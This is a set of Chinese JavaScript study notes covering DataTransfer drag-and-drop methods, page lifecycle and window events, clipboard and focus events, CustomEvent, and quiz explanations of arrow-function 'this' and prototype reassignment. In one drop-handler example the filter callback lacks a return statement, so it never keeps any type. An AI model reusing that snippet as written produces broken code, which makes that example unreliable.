* `getAsFile()`：如果被拖拉是文件，返回该文件，否则返回`null`。
* `getAsString(callback)`：如果被拖拉的是字符串，将该字符传入指定的回调函数处理。该方法是异步的，所以需要传入回调函数。

下面是一个例子。

```js
div.addEventListener('drop', function (e) {
  e.preventDefault();
  if (e.dataTransfer.items != null) {
    for (var i = 0; i < e.dataTransfer.items.length; i++) {
      console.log(e.dataTransfer.items[i].kind + ': ' + e.dataTransfer.items[i].type);
    }
  }
});
```

#### 实例方法

##### DataTransfer.setData()

`DataTransfer.setData()`方法用来设置拖拉事件所带有的数据。该方法没有返回值。

```js
event.dataTransfer.setData('text/plain', 'Text to drag');
```

上面代码为当前的拖拉事件加入纯文本数据。

该方法接受两个参数，都是字符串。第一个参数表示数据类型（比如`text/plain`），第二个参数是具体数据。如果指定类型的数据在`dataTransfer`属性不存在，那么这些数据将被加入，否则原有的数据将被新数据替换。

如果是拖拉文本框或者拖拉选中的文本，会默认将对应的文本数据，添加到`dataTransfer`属性，不用手动指定。

```html
<div draggable="true">
  aaa
</div>
```

上面代码中，拖拉这个`<div>`元素会自动带上文本数据`aaa`。

使用`setData`方法，可以替换到原有数据。

```html
<div
  draggable="true"
  ondragstart="event.dataTransfer.setData('text/plain', 'bbb')"
>
  aaa
</div>
```

上面代码中，拖拉数据实际上是`bbb`，而不是`aaa`。

下面是添加其他类型的数据。由于`text/plain`是最普遍支持的格式，为了保证兼容性，建议最后总是保存一份纯文本格式的数据。

```js
var dt = event.dataTransfer;

// 添加链接
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');

// 添加 HTML 代码
dt.setData('text/html', 'Hello there, <strong>stranger</strong>');
dt.setData('text/plain', 'Hello there, <strong>stranger</strong>');

// 添加图像的 URL
dt.setData('text/uri-list', imageurl);
dt.setData('text/plain', imageurl);
```

可以一次提供多种格式的数据。

```js
var dt = event.dataTransfer;
dt.setData('application/x-bookmark', bookmarkString);
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');
```

上面代码中，通过在同一个事件上面，存放三种类型的数据，使得拖拉事件可以在不同的对象上面，`drop`不同的值。注意，第一种格式是一个自定义格式，浏览器默认无法读取，这意味着，只有某个部署了特定代码的节点，才可能`drop`（读取到）这个数据。

##### DataTransfer.getData()

`DataTransfer.getData()`方法接受一个字符串（表示数据类型）作为参数，返回事件所带的指定类型的数据（通常是用`setData`方法添加的数据）。如果指定类型的数据不存在，则返回空字符串。通常只有`drop`事件触发后，才能取出数据。

下面是一个`drop`事件的监听函数，用来取出指定类型的数据。

```js
function onDrop(event) {
  var data = event.dataTransfer.getData('text/plain');
  event.target.textContent = data;
  event.preventDefault();
}
```

上面代码取出拖拉事件的文本数据，将其替换成当前节点的文本内容。注意，这时还必须取消浏览器的默认行为，因为假如用户拖拉的是一个链接，浏览器默认会在当前窗口打开这个链接。

`getData`方法返回的是一个字符串，如果其中包含多项数据，就必须手动解析。

```js
function doDrop(event) {
  var lines = event.dataTransfer.getData('text/uri-list').split('\n');
  for (let line of lines) {
    let link = document.createElement('a');
    link.href = line;
    link.textContent = line;
    event.target.appendChild(link);
  }
  event.preventDefault();
}
```

上面代码中，`getData`方法返回的是一组链接，就必须自行解析。

类型值指定为`URL`，可以取出第一个有效链接。

```js
var link = event.dataTransfer.getData('URL');
```

下面的例子是从多种类型的数据里面取出数据。

```js
function doDrop(event) {
  var types = event.dataTransfer.types;
  var supportedTypes = ['text/uri-list', 'text/plain'];
  types = supportedTypes.filter(function (value) { types.includes(value) });
  if (types.length) {
    var data = event.dataTransfer.getData(types[0]);
  }
  event.preventDefault();
}
```

##### DataTransfer.clearData()

`DataTransfer.clearData()`方法接受一个字符串（表示数据类型）作为参数，删除事件所带的指定类型的数据。如果没有指定类型，则删除所有数据。如果指定类型不存在，则调用该方法不会产生任何效果。

```js
event.dataTransfer.clearData('text/uri-list');
```

上面代码清除事件所带的`text/uri-list`类型的数据。

该方法不会移除拖拉的文件，因此调用该方法后，`DataTransfer.types`属性可能依然会返回`Files`类型（前提是存在文件拖拉）。

注意，该方法只能在`dragstart`事件的监听函数之中使用，因为这是拖拉操作的数据唯一可写的时机。

##### DataTransfer.setDragImage()

拖动过程中（`dragstart`事件触发后），浏览器会显示一张图片跟随鼠标一起移动，表示被拖动的节点。这张图片是自动创造的，通常显示为被拖动节点的外观，不需要自己动手设置。

`DataTransfer.setDragImage()`方法可以自定义这张图片。它接受三个参数。第一个是`<img>`节点或者`<canvas>`节点，如果省略或为`null`，则使用被拖动的节点的外观；第二个和第三个参数为鼠标相对于该图片左上角的横坐标和纵坐标。

下面是一个例子。

```js
/* HTML 代码如下
 <div id="drag-with-image" class="dragdemo" draggable="true">
   drag me
 </div>
*/

var div = document.getElementById('drag-with-image');
div.addEventListener('dragstart', function (e) {
  var img = document.createElement('img');
  img.src = 'http://path/to/img';
  e.dataTransfer.setDragImage(img, 0, 0);
}, false);
```

## 资源事件

### beforeunload 事件

`beforeunload`事件在窗口、文档、各种资源将要卸载前触发。它可以用来防止用户不小心卸载资源。

如果该事件对象的`returnValue`属性是一个非空字符串，那么浏览器就会弹出一个对话框，询问用户是否要卸载该资源。但是，用户指定的字符串可能无法显示，浏览器会展示预定义的字符串。如果用户点击“取消”按钮，资源就不会卸载。

```js
window.addEventListener('beforeunload', function (event) {
  event.returnValue = '你确定离开吗？';
});
```

上面代码中，用户如果关闭窗口，浏览器会弹出一个窗口，要求用户确认。

浏览器对这个事件的行为很不一致，有的浏览器调用`event.preventDefault()`，也会弹出对话框。IE 浏览器需要显式返回一个非空的字符串，才会弹出对话框。而且，大多数浏览器在对话框中不显示指定文本，只显示默认文本。因此，可以采用下面的写法，取得最大的兼容性。

```js
window.addEventListener('beforeunload', function (e) {
  var confirmationMessage = '确认关闭窗口？';

  e.returnValue = confirmationMessage;
  return confirmationMessage;
});
```

注意，许多手机浏览器（比如 Safari）默认忽略这个事件，桌面浏览器也有办法忽略这个事件。所以，它可能根本不会生效，不能依赖它来阻止用户关闭浏览器窗口，最好不要使用这个事件。

另外，一旦使用了`beforeunload`事件，浏览器就不会缓存当前网页，使用“回退”按钮将重新向服务器请求网页。这是因为监听这个事件的目的，一般是为了网页状态，这时缓存页面的初始状态就没意义了。

### unload 事件

`unload`事件在窗口关闭或者`document`对象将要卸载时触发。它的触发顺序排在`beforeunload`、`pagehide`事件后面。

`unload`事件发生时，文档处于一个特殊状态。所有资源依然存在，但是对用户来说都不可见，UI 互动全部无效。这个事件是无法取消的，即使在监听函数里面抛出错误，也不能停止文档的卸载。

```js
window.addEventListener('unload', function(event) {
  console.log('文档将要卸载');
});
```

手机上，浏览器或系统可能会直接丢弃网页，这时该事件根本不会发生。而且跟`beforeunload`事件一样，一旦使用了`unload`事件，浏览器就不会缓存当前网页，理由同上。因此，任何情况下都不应该依赖这个事件，指定网页卸载时要执行的代码，可以考虑完全不使用这个事件。

该事件可以用`pagehide`代替。

### load 事件

### error 事件

`load`事件在页面或某个资源加载成功时触发。注意，页面或资源从浏览器缓存加载，并不会触发`load`事件。

```js
window.addEventListener('load', function(event) {
  console.log('所有资源都加载完成');
});
```

`error`事件是在页面或资源加载失败时触发。`abort`事件在用户取消加载时触发。

这三个事件实际上属于进度事件，不仅发生在`document`对象，还发生在各种外部资源上面。

浏览网页就是一个加载各种资源的过程，图像（image）、样式表（style sheet）、脚本（script）、视频（video）、音频（audio）、Ajax请求（XMLHttpRequest）等等。这些资源和`document`对象、`window`对象、XMLHttpRequestUpload 对象，都会触发`load`事件和`error`事件。

最后，页面的`load`事件也可以用`pageshow`事件代替。

## session 历史事件

#### pageshow 事件

#### pagehide 事件

默认情况下，浏览器会在当前会话（session）缓存页面，当用户点击“前进/后退”按钮时，浏览器就会从缓存中加载页面。

`pageshow`事件在页面加载时触发，包括第一次加载和从缓存加载两种情况。如果要指定页面每次加载（不管是不是从浏览器缓存）时都运行的代码，可以放在这个事件的监听函数。

第一次加载时，它的触发顺序排在`load`事件后面。从缓存加载时，`load`事件不会触发，因为网页在缓存中的样子通常是`load`事件的监听函数运行后的样子，所以不必重复执行。同理，如果是从缓存中加载页面，网页内初始化的 JavaScript 脚本（比如 DOMContentLoaded 事件的监听函数）也不会执行。

```js
window.addEventListener('pageshow', function(event) {
  console.log('pageshow: ', event);
});
```

`pageshow`事件有一个`persisted`属性，返回一个布尔值。页面第一次加载时，这个属性是`false`；当页面从缓存加载时，这个属性是`true`。

```js
window.addEventListener('pageshow', function(event){
  if (event.persisted) {
    // ...
  }
});
```

`pagehide`事件与`pageshow`事件类似，当用户通过“前进/后退”按钮，离开当前页面时触发。它与 unload 事件的区别在于，如果在 window 对象上定义`unload`事件的监听函数之后，页面不会保存在缓存中，而使用`pagehide`事件，页面会保存在缓存中。

`pagehide`事件实例也有一个`persisted`属性，将这个属性设为`true`，就表示页面要保存在缓存中；设为`false`，表示网页不保存在缓存中，这时如果设置了unload 事件的监听函数，该函数将在 pagehide 事件后立即运行。

如果页面包含`<frame>`或`<iframe>`元素，则`<frame>`页面的`pageshow`事件和`pagehide`事件，都会在主页面之前触发。

注意，这两个事件只在浏览器的`history`对象发生变化时触发，跟网页是否可见没有关系。

### popstate 事件

`popstate`事件在浏览器的`history`对象的当前记录发生显式切换时触发。注意，调用`history.pushState()`或`history.replaceState()`，并不会触发`popstate`事件。该事件只在用户在`history`记录之间显式切换时触发，比如鼠标点击“后退/前进”按钮，或者在脚本中调用`history.back()`、`history.forward()`、`history.go()`时触发。

该事件对象有一个`state`属性，保存`history.pushState`方法和`history.replaceState`方法为当前记录添加的`state`对象。

```js
window.onpopstate = function (event) {
  console.log('state: ' + event.state);
};
history.pushState({page: 1}, 'title 1', '?page=1');
history.pushState({page: 2}, 'title 2', '?page=2');
history.replaceState({page: 3}, 'title 3', '?page=3');
history.back(); // state: {"page":1}
history.back(); // state: null
history.go(2);  // state: {"page":3}
```

上面代码中，`pushState`方法向`history`添加了两条记录，然后`replaceState`方法替换掉当前记录。因此，连续两次`back`方法，会让当前条目退回到原始网址，它没有附带`state`对象，所以事件的`state`属性为`null`，然后前进两条记录，又回到`replaceState`方法添加的记录。

浏览器对于页面首次加载，是否触发`popstate`事件，处理不一样，Firefox 不触发该事件。

### hashchange 事件

`hashchange`事件在 URL 的 hash 部分（即`#`号后面的部分，包括`#`号）发生变化时触发。该事件一般在`window`对象上监听。

`hashchange`的事件实例具有两个特有属性：`oldURL`属性和`newURL`属性，分别表示变化前后的完整 URL。

```js
// URL 是 http://www.example.com/
window.addEventListener('hashchange', myFunction);

function myFunction(e) {
  console.log(e.oldURL);
  console.log(e.newURL);
}

location.hash = 'part2';
// http://www.example.com/
// http://www.example.com/#part2
```

## 网页状态事件

### readystatechange 事件

网页下载并解析完成以后，浏览器就会在`document`对象上触发 DOMContentLoaded 事件。这时，仅仅完成了网页的解析（整张页面的 DOM 生成了），所有外部资源（样式表、脚本、iframe 等等）可能还没有下载结束。也就是说，这个事件比`load`事件，发生时间早得多。

```js
document.addEventListener('DOMContentLoaded', function (event) {
  console.log('DOM生成');
});
```

注意，网页的 JavaScript 脚本是同步执行的，脚本一旦发生堵塞，将推迟触发`DOMContentLoaded`事件。

```js
document.addEventListener('DOMContentLoaded', function (event) {
  console.log('DOM 生成');
});

// 这段代码会推迟触发 DOMContentLoaded 事件
for(var i = 0; i < 1000000000; i++) {
  // ...
}
```

### readystatechange 事件

`readystatechange`事件当 Document 对象和 XMLHttpRequest 对象的`readyState`属性发生变化时触发。`document.readyState`有三个可能的值：`loading`（网页正在加载）、`interactive`（网页已经解析完成，但是外部资源仍然处在加载状态）和`complete`（网页和所有外部资源已经结束加载，`load`事件即将触发）。

```js
document.onreadystatechange = function () {
  if (document.readyState === 'interactive') {
    // ...
  }
}
```

这个事件可以看作`DOMContentLoaded`事件的另一种实现方法。

## 窗口事件

### scroll 事件

`scroll`事件在文档或文档元素滚动时触发，主要出现在用户拖动滚动条。

```js
window.addEventListener('scroll', callback);
```

该事件会连续地大量触发，所以它的监听函数之中不应该有非常耗费计算的操作。推荐的做法是使用`requestAnimationFrame`或`setTimeout`控制该事件的触发频率，然后可以结合`customEvent`抛出一个新事件。

```js
(function () {
  var throttle = function (type, name, obj) {
    var obj = obj || window;
    var running = false;
    var func = function () {
      if (running) { return; }
      running = true;
      requestAnimationFrame(function() {
        obj.dispatchEvent(new CustomEvent(name));
        running = false;
      });
    };
    obj.addEventListener(type, func);
  };

  // 将 scroll 事件转为 optimizedScroll 事件
  throttle('scroll', 'optimizedScroll');
})();

window.addEventListener('optimizedScroll', function() {
  console.log('Resource conscious scroll callback!');
});
```

上面代码中，`throttle()`函数用于控制事件触发频率，它有一个内部函数`func()`，每次`scroll`事件实际上触发的是这个函数。`func()`函数内部使用`requestAnimationFrame()`方法，保证只有每次页面重绘时（每秒60次），才可能会触发`optimizedScroll`事件，从而实际上将`scroll`事件转换为`optimizedScroll`事件，触发频率被控制在每秒最多60次。

改用`setTimeout()`方法，可以放置更大的时间间隔。

```js
(function() {
  window.addEventListener('scroll', scrollThrottler, false);

  var scrollTimeout;
  function scrollThrottler() {
    if (!scrollTimeout) {
      scrollTimeout = setTimeout(function () {
        scrollTimeout = null;
        actualScrollHandler();
      }, 66);
    }
  }

  function actualScrollHandler() {
    // ...
  }
}());
```

上面代码中，每次`scroll`事件都会执行`scrollThrottler`函数。该函数里面有一个定时器`setTimeout`，每66毫秒触发一次（每秒15次）真正执行的任务`actualScrollHandler`。

下面是一个更一般的`throttle`函数的写法。

```js
function throttle(fn, wait) {
  var time = Date.now();
  return function() {
    if ((time + wait - Date.now()) < 0) {
      fn();
      time = Date.now();
    }
  }
}

window.addEventListener('scroll', throttle(callback, 1000));
```

上面的代码将`scroll`事件的触发频率，限制在一秒一次。

`lodash`函数库提供了现成的`throttle`函数，可以直接使用。

```js
window.addEventListener('scroll', _.throttle(callback, 1000));
```

`throttle`与`debounce`区别在于，`throttle`是“节流”，确保一段时间内只执行一次，而`debounce`是“防抖”，要连续操作结束后再执行。以网页滚动为例，`debounce`要等到用户停止滚动后才执行，`throttle`则是如果用户一直在滚动网页，那么在滚动过程中还是会执行。

### resize 事件

`resize`事件在改变浏览器窗口大小时触发，主要发生在`window`对象上面。

```js
var resizeMethod = function () {
  if (document.body.clientWidth < 768) {
    console.log('移动设备的视口');
  }
};

window.addEventListener('resize', resizeMethod, true);
```

该事件也会连续地大量触发，所以最好像上面的`scroll`事件一样，通过`throttle`函数控制事件触发频率。

### fullscreenchange 事件

### fullscreenerror 事件

`fullscreenchange`事件在进入或退出全屏状态时触发，该事件发生在`document`对象上面。

```js
document.addEventListener('fullscreenchange', function (event) {
  console.log(document.fullscreenElement);
});
```

`fullscreenerror`事件在浏览器无法切换到全屏状态时触发。

## 剪贴板事件

以下三个事件属于剪贴板操作的相关事件。

* `cut`：将选中的内容从文档中移除，加入剪贴板时触发。
* `copy`：进行复制动作时触发。
* `paste`：剪贴板内容粘贴到文档后触发。

举例来说，如果希望禁止输入框的粘贴事件，可以使用下面的代码。

```js
inputElement.addEventListener('paste', e => e.preventDefault());
```

上面的代码使得用户无法在`<input>`输入框里面粘贴内容。

`cut`、`copy`、`paste`这三个事件的事件对象都是`ClipboardEvent`接口的实例。`ClipboardEvent`有一个实例属性`clipboardData`，是一个 DataTransfer 对象，存放剪贴的数据。

```js
document.addEventListener('copy', function (e) {
  e.clipboardData.setData('text/plain', 'Hello, world!');
  e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
  e.preventDefault();
});
```

上面的代码使得复制进入剪贴板的，都是开发者指定的数据，而不是用户想要拷贝的数据。

## 焦点事件

焦点事件发生在元素节点和`document`对象上面，与获得或失去焦点相关。它主要包括以下四个事件。

* `focus`：元素节点获得焦点后触发，该事件不会冒泡。
* `blur`：元素节点失去焦点后触发，该事件不会冒泡。
* `focusin`：元素节点将要获得焦点时触发，发生在`focus`事件之前。该事件会冒泡。
* `focusout`：元素节点将要失去焦点时触发，发生在`blur`事件之前。该事件会冒泡。

这四个事件的事件对象都继承了`FocusEvent`接口。`FocusEvent`实例具有以下属性。

* `FocusEvent.target`：事件的目标节点。
* `FocusEvent.relatedTarget`：对于`focusin`事件，返回失去焦点的节点；对于`focusout`事件，返回将要接受焦点的节点；对于`focus`和`blur`事件，返回`null`。

由于`focus`和`blur`事件不会冒泡，只能在捕获阶段触发，所以`addEventListener`方法的第三个参数需要设为`true`。

```js
form.addEventListener('focus', function (event) {
  event.target.style.background = 'pink';
}, true);

form.addEventListener('blur', function (event) {
  event.target.style.background = '';
}, true);
```

上面代码针对表单的文本输入框，接受焦点时设置背景色，失去焦点时去除背景色。

## CustomEvent 接口

CustomEvent 接口用于生成自定义的事件实例。那些浏览器预定义的事件，虽然可以手动生成，但是往往不能在事件上绑定数据。如果需要在触发事件的同时，传入指定的数据，就可以使用 CustomEvent 接口生成的自定义事件对象。

浏览器原生提供`CustomEvent()`构造函数，用来生成 CustomEvent 事件实例。

```js
new CustomEvent(type, options)
```

`CustomEvent()`构造函数接受两个参数。第一个参数是字符串，表示事件的名字，这是必须的。第二个参数是事件的配置对象，这个参数是可选的。`CustomEvent`的配置对象除了接受 Event 事件的配置属性，只有一个自己的属性。

`detail`：表示事件的附带数据，默认为`null`。

下面是一个例子。

```js
var event = new CustomEvent('build', { 'detail': 'hello' });

function eventHandler(e) {
  console.log(e.detail);
}

document.body.addEventListener('build', function (e) {
  console.log(e.detail);
});

document.body.dispatchEvent(event);
```

上面代码中，我们手动定义了`build`事件。该事件触发后，会被监听到，从而输出该事件实例的`detail`属性（即字符串`hello`）。

下面是另一个例子。

```js
var myEvent = new CustomEvent('myevent', {
  detail: {
    foo: 'bar'
  },
  bubbles: true,
  cancelable: false
});

el.addEventListener('myevent', function (event) {
  console.log('Hello ' + event.detail.foo);
});

el.dispatchEvent(myEvent);
```

上面代码也说明，CustomEvent 的事件实例，除了具有 Event 接口的实例属性，还具有`detail`属性。

---

---
url: /skill/t0xo0xls/index.md
---
# JS 题目
## this + 箭头函数

```js
const obj = {
  a: 1,
  foo() {
    return () => this.a;
  }
};

const f = obj.foo();
console.log(f());
```

`const f = obj.foo();` 这一步**调用位置是 `obj.foo()`**，所以 `foo` 里的 `this` **确实绑定到 `obj`**。

`foo` 返回的是 **箭头函数**，而箭头函数的 `this` **不是运行时绑定的**，它会**词法捕获**创建时外层的 `this`（也就是 `foo` 执行时的 `this`）。

所以 `f()` 里用的 `this` 其实仍然是 `obj`，等价于读 `obj.a`， `f()` 应该输出 `1`。

```js
const obj = { a: 1, foo() { return function(){ return this.a } } };
const f = obj.foo();
console.log(f()); // undefined（严格模式下是 TypeError）
```

箭头函数**没有自己的 this**，或者说 **箭头函数不创建自己的 this，它的 this 在“定义时”就从外层词法作用域捕获好了**

也就是说：

```js
foo() {
  // 这里的 this 是 obj
  return () => this.a;
}
```

* `foo` 执行时，`this === obj`
* 箭头函数在**这里被创建**
* 所以箭头函数里的 `this` 永远是 `obj`

所以 `f()` 执行时，**this 不会再发生变化**

```js
const f = obj.foo();
f(); // this 仍然是 obj
```

不是因为“f 运行在 obj 作用域”，而是因为 **箭头函数早就把 this 记死了**

**不能用 call / apply / bind 改变箭头函数的 this**

```js
const f = () => this.a;
f.call({ a: 100 }); // 还是原来的 this
```

原因不是“不能用”，而是：call/apply/bind **只能影响“函数调用时的 this”**，而箭头函数 **压根没有“调用时 this”这个概念**

注意一个细节：

```js
const g = f.bind(obj);
g(); // 仍然没用
```

bind 会返回新函数，但箭头函数内部的 this 依然不会变。

> **准确来说**：`bind` 确实会返回一个**新的包装函数**，但这个新函数调用时，依然会执行原箭头函数，而原箭头函数的 `this` 早已捕获，所以 `bind` 传递的 `this` 会被忽略（不是 “没用”，而是箭头函数不接收）。

如果 `foo` 是箭头函数，外层 `this` 会变成全局，而非 `obj`，比如：

```js
const obj = {
  a: 1,
  foo: () => { // foo 本身是箭头函数
    return () => this.a;
  }
};
const f = obj.foo();
console.log(f()); // undefined（浏览器环境）
```

**原因**：`obj.foo()` 调用时，`foo` 作为箭头函数，其 `this` 捕获的是定义时的外层（全局）`this`，而非 `obj`，所以内部箭头函数的 `this` 也是全局，最终输出 `undefined`。这个例子能进一步区分 “箭头函数定义位置” 和 “调用位置” 的差异。

## 原型链

```js
function A() {}
A.prototype.x = 1;

const a = new A();
A.prototype = { x: 2 };

console.log(a.x);
```

输出是：`1`

`const a = new A();` 创建一个新对象 `a`， 设置内部属性：`a.__proto__ === 当时的 A.prototype`，注意关键词：**当时的**

`function A() {}` => `A.prototype.constructor===A`

当 `A.prototype.x = 1;` 后，`A.prototype` 是 `{ x: 1, constructor: A }`

在`const a = new A();` 的时候，已经 `a.__proto__ === A.prototype` 了，已经绑定了

`A.prototype = { x: 2 };` 这一行**不会** 修改 `A.prototype` ，**更不会影响已经创建好的 `a`**

它只是做了一件事：`A.prototype → 指向一个全新的对象（proto2）`

一个**非常高级但常见的错觉**，可能在调试时看到了类似：

```js
a.__proto__.constructor.prototype
```

然后发现那里是 `{ x: 2 }`

但注意这条链：

```js
a.__proto__            // proto1
a.__proto__.constructor // A
a.__proto__.constructor.prototype // A.prototype（proto2）
```

⚠️ **这是你“手动绕了一圈”**，不是 JS 自动查找路径！

如果下面是 `A.prototype.x = 2`，那答案就是 2

**总结**：`new` 绑定的是“当时的 prototype 对象”，以后你怎么改 `A.prototype`，都不会影响已经创建的实例。

***

**标准答案**：是因为执行 `A.prototype = { x: 2 }` 后，`A.prototype` 已经不是原来的那个 `A.prototype` 了，也不是 `new A()` 时用的那个 `A.prototype`

第一段代码

```js
function A() {}
A.prototype.x = 1;

const a = new A();

console.log(a.__proto__ === A.prototype); // true
```

`new A()` 时：

```js
a.__proto__ = A.prototype
```

此时 **两边指向的是同一个对象**，所以 `true`

第二段代码（关键差别）

```js
function A() {}
A.prototype.x = 1;

const a = new A();
A.prototype = { x: 2 };

console.log(a.__proto__ === A.prototype); // false
```

重点只看这一行：

```js
A.prototype = { x: 2 };
```

⚠️ **这不是“改原型对象”**

⚠️ 而是**让 `A.prototype` 这个变量，指向了一个全新的对象**

就像：

```js
let p1 = { x: 1 };
let p2 = p1;

p1 = { x: 2 };

p2 === p1 // false
```

**终极总结**：实例对象的 `[[Prototype]]` 在 `new` 的那一刻就绑定到“当时的 `A.prototype` 所指向的对象”，之后无论你怎么重新赋值 `A.prototype`，都不会影响已经创建的实例。

***

**补充**：

`p1.x = 2` 是**改同一个对象**（地址不变）

`p1 = { x: 2 }` 是**换了一个对象**（地址变了，p1 这根引用改指向）

用这个段类比，直接映射回原型题

这种写法：改内容（同一个原型对象）：

```js
A.prototype.x = 2;
```

等价于：

```js
p1.x = 2;
```

所以：

* `a.__proto__` 还是那个对象
* `A.prototype` 还是那个对象
* 只是对象里的 `x` 从 1 变成 2
* `a.x` 查到的就是 2

这种写法：换引用（原型对象换了）:

```js
A.prototype = { x: 2 };
```

等价于：

```js
p1 = { x: 2 };
```

所以：

* `A.prototype` 现在指向新对象
* 但 `a.__proto__` 仍指向旧对象（new 的那一刻绑定的）
* `a.x` 还是从旧对象上拿到 1

再补一个“浅拷贝/引用”的点（顺手清掉混淆）

* **改对象本体的内容**（如 `obj.x = ...`）→ 所有指向它的引用都能看到变化
* **改某个变量的指向**（如 `obj = newObj`）→ 只影响这个变量，不影响别人

**速记**：点号（.）通常是“改内容”，等号（=）常常是“换引用”。

***

**补充**：只要 `a.__proto__` 还指向那个旧原型对象，它就一定不能被 GC 回收。

现代 JS 引擎的 GC（V8 / SpiderMonkey / JSC）本质上都是 **可达性（reachability）分析**：从 GC Roots 出发，能不能沿着引用链“走到”这个对象

把原型例子放进 GC 模型里

```js
function A() {}
A.prototype.x = 1;

const a = new A();
A.prototype = { x: 2 };
```

此时内存关系是：

```js
(global)
  │
  ├── a ──▶ oldProto { x: 1 }
  │
  └── A.prototype ──▶ newProto { x: 2 }
```

关键点：

* `a` 是全局变量（GC Root）
* `a.__proto__` → `oldProto`
* 所以 `oldProto` **是可达的**
* **GC 绝对不会回收它**

只有在 **所有引用都断掉** 的时候，旧原型对象才“有资格”被 GC

```js
let a = new A();
A.prototype = { x: 2 };

// 断掉最后一条引用
a = null;
```

现在：

* `oldProto` 没有任何变量能再访问到
* 从 GC Roots 出发走不到它
* **下一轮 GC 才可能回收它**

***

一个非常重要、但很少人意识到的点：

**原型链本身，就是一条“隐式引用链”**

也就是说：

* 就算你代码里“没写变量保存它”
* 只要有对象的 `[[Prototype]]` 指向它
* 它就是**活着的**

这也是为什么：

* 原型污染
* 原型上挂大对象
* 滥用共享原型

都会带来 **内存风险**

**“频繁替换 prototype”是危险操作**

```js
A.prototype = { bigData: new Array(10_000_000) };
```

新实例 → 用新 prototype

老实例 → 仍然引用旧 prototype

如果你**长期存活大量老实例**

* 多个巨大 prototype 全都被“挂住”
* GC 无法回收
* **隐性内存泄漏**

**GC 回不回收对象，和“你还需不需要它”无关，只和“还有没有人能引用到它”有关。**

## 原型链+accessor

```js
function A() {}
Object.defineProperty(A.prototype, "x", {
  get() { return this._x ?? 1 },
  set(v) { this._x = v },
  enumerable: true
});

const a1 = new A();
A.prototype.x = 10;      // 注意：这是“赋值”，不是 defineProperty
const a2 = new A();

A.prototype = { x: 100 }; // 换引用
const a3 = new A();

a1.x = 7;

console.log(a1.x, a2.x, a3.x);
console.log(Object.keys(a1), Object.keys(a2), Object.keys(a3));
```

答案：

```js
7 10 100
["_x"] [] []
```

用 `defineProperty` 在 **A.prototype（旧原型对象）** 上定义了 `x`：

* `x` 不是一个普通值属性（data property）
* 它有 `get` / `set`
* **对 `x` 的读取/写入会触发函数逻辑**

而 `_x` 只是 getter/setter 里访问的“普通属性名”，最初不存在。

`const a1 = new A()` 创建实例 `a1`，并把：`a1.[[Prototype]]` 绑定到 **当时的 `A.prototype`**（旧原型对象），`a1` 自身没有 `x`、也没有 `_x`，`a1` 的原型（旧原型）有 accessor：`x`

`A.prototype.x = 10` 这一步是**赋值**，不是重新 defineProperty，因为旧原型上已经存在 accessor `x`（有 setter），所以这句会走：`[[Set]]` 发现原型链上命中了 setter → 直接调用 setter，不会把 `x` 覆盖成普通值属性

此时 setter 执行：`set(v) { this._x = v }`

这里的 `this` 是：赋值表达式是 `A.prototype.x = 10`，“接收者(receiver)”就是 `A.prototype`（旧原型对象），所以 `this === 旧原型对象`

于是这句等价于：`旧原型对象._x = 10`

结果：旧原型对象身上新增了一个自有属性 `_x: 10`，但 `x` 仍然是 getter/setter（没有被覆盖）

`const a2 = new A()` 此时 `A.prototype` 还没被换引用，所以 `a2.[[Prototype]]` 仍指向旧原型对象，也就是说，`a2` 的原型对象身上有 `_x = 10`，原型对象身上还有 accessor `x`

`A.prototype = { x: 100 }` ，这是一个关键点，这句是**替换 `A.prototype` 的引用**，旧原型对象仍然存在（因为还被 `a1.__proto__`、`a2.__proto__` 引用着）

新的 `A.prototype` 是一个全新的对象 `{ x: 100 }`，这里的 `x` 是普通值属性（data property），值是 `100`，没有 getter/setter

`const a3 = new A()` 现在 `new A()` 会把实例的 `[[Prototype]]` 绑定到**新的 `A.prototype`**，也就是 `a3.__proto__ === 新原型对象({x:100})`

`a1.x = 7` 又是一个赋值，但这次接收者是 `a1`，赋值查找流程大概是：

1. 看 `a1` 自己有没有自有属性 `x`（没有）
2. 沿原型链找 `x`：在旧原型对象上找到了 accessor `x`，且它有 setter
3. 命中 setter → 调用 setter，并且 **this 绑定为 receiver（也就是 a1）**

因此 setter 内部执行的是：

```js
a1._x = 7
```

结果：`_x` 被写到了实例 `a1` 自己身上，并没有在 `a1` 身上创建 `x`（仍然走原型上的 accessor）

为什么第一行是 `7 10 100`？

`a1.x`

* `a1` 自己没有 `x`
* 原型上 `x` 是 getter → 调 getter，`this === a1`
* getter 返回：`this._x ?? 1`
* `a1._x` 是 7 → 返回 7

`a2.x`

* `a2` 自己没有 `x`
* 原型上 `x` 是 getter → 调 getter，`this === a2`
* getter 返回：`this._x ?? 1`
* 关键点：**读 `this._x` 会沿原型链找**
  * `a2` 自己没有 `_x`
  * 但 `a2.__proto__`（旧原型对象）有 `_x = 10`
* 所以 `this._x` 读到 10 → 返回 10

`a3.x`

* `a3` 原型是新原型对象 `{ x: 100 }`
* `x` 是普通值属性，直接得到 100

为什么第二行是 `["_x"] [] []`？

`Object.keys(obj)` 只返回：

* **自身（own）**
* 且 **enumerable: true** 的字符串键
* `a1` 自身有 `_x`（setter 写入的普通赋值创建，默认 enumerable 为 true）→ `["_x"]`
* `a2` 自身没有任何属性 → `[]`
* `a3` 自身也没有属性（x 在原型上）→ `[]`

**变体代码（只改 getter）**

```js
function A() {}
Object.defineProperty(A.prototype, "x", {
  get() {
    return Object.prototype.hasOwnProperty.call(this, "_x")
      ? this._x
      : 1
  },
  set(v) { this._x = v },
  enumerable: true
});

// 下面完全不变
const a1 = new A();
A.prototype.x = 10;
const a2 = new A();

A.prototype = { x: 100 };
const a3 = new A();

a1.x = 7;

console.log(a1.x, a2.x, a3.x);
console.log(Object.keys(a1), Object.keys(a2), Object.keys(a3));
```

变体输出

```js
7 1 100
["_x"] [] []
```

`return hasOwnProperty.call(this, "_x") ? this._x : 1` 这里强行规定：只要 `_x` 不是 **this 自身的自有属性**，就当作不存在，`a2` 自己没有 `_x` → `hasOwnProperty` 为 false → 返回 1，即使原型上有 `_x=10`，也不算数

---

---
url: /skill/uibzgb5w/index.md
---
# JS 回顾 17
## History 对象

`window.history`属性指向 History 对象，它表示当前窗口的浏览历史。

History 对象保存了当前窗口访问过的所有页面网址。下面代码表示当前窗口一共访问过3个网址。

```js
window.history.length // 3
```

由于安全原因，浏览器不允许脚本读取这些地址，但是允许在地址之间导航。

```js
// 后退到前一个网址
history.back()
